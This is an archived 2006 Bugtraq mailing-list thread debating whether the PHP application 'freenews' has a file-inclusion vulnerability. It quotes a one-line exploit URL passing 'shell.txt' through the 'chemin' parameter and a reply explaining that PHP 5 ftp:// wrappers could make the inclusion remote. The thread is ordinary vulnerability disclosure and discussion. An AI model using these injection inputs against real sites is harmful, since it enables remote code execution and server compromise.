lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Tue, 31 Oct 2006 18:22:25 +0800
From: pokley <pokleyzz@...n-associates.net>
To: tamriel@....net, MoHaNdKo <xp1o@....com>
Cc: bugtraq@...urityfocus.com
Subject: Re: freenews---> fileinclude

In PHP 5.x file_exists function have support for Protocols/Wrappers .
So setting $chemin to ftp://blablablab.com/ will work in this case

On Tue, 31 Oct 2006 05:18:58 +0800, Tamriel <tamriel@....net> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA512
>
> I would quote the whole code arround the includes, like:
>
> [...]
> if (file_exists("./".$chemin."/config.php")){
>     include ("$chemin/config.php");
>     include ("$chemin/options.inc.php");
>     include ("$chemin/freenews_functions.inc.php");
> }
> [...]
>
> You could only include files on the same server, not remote and not a
> shell.txt.
>
>
> MoHaNdKo wrote:
>> ########################################################
>> #
>> #freenews---> fileinclude
>> ###############################
>> #
>> #include ("$chemin/config.php");
>> #include ("$chemin/functions.inc.php");
>> #include ("$chemin/options.inc.php");
>> #******************************************
>> #name: MoHaNdKo
>> #E-mail : xp1o@....com
>> #
>> #
>> #********************
>> #exploit:
>> #            www.****.com/path/aff_news.php?chemin=shell.txt?		
>> #
>> #
>> #********************
>> #Greatz:
>> #         www.xp10.com & www.d4eg.org & www.dmazika.org
>> #
>> #                             www.tryag.com
>
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.5 (MingW32)
>
> iD8DBQFFRmxCqBhP+Twks7oRCqoAAJ9YaqJn7Mdptjgc17uIV76Qcy5eVwCfRNpf
> DmmJNRb3gp/R32Dq8dINQks=
> =BGMI
> -----END PGP SIGNATURE-----
>



-- 
Using Opera's revolutionary e-mail client: http://www.opera.com/m2/

Powered by blists - more mailing lists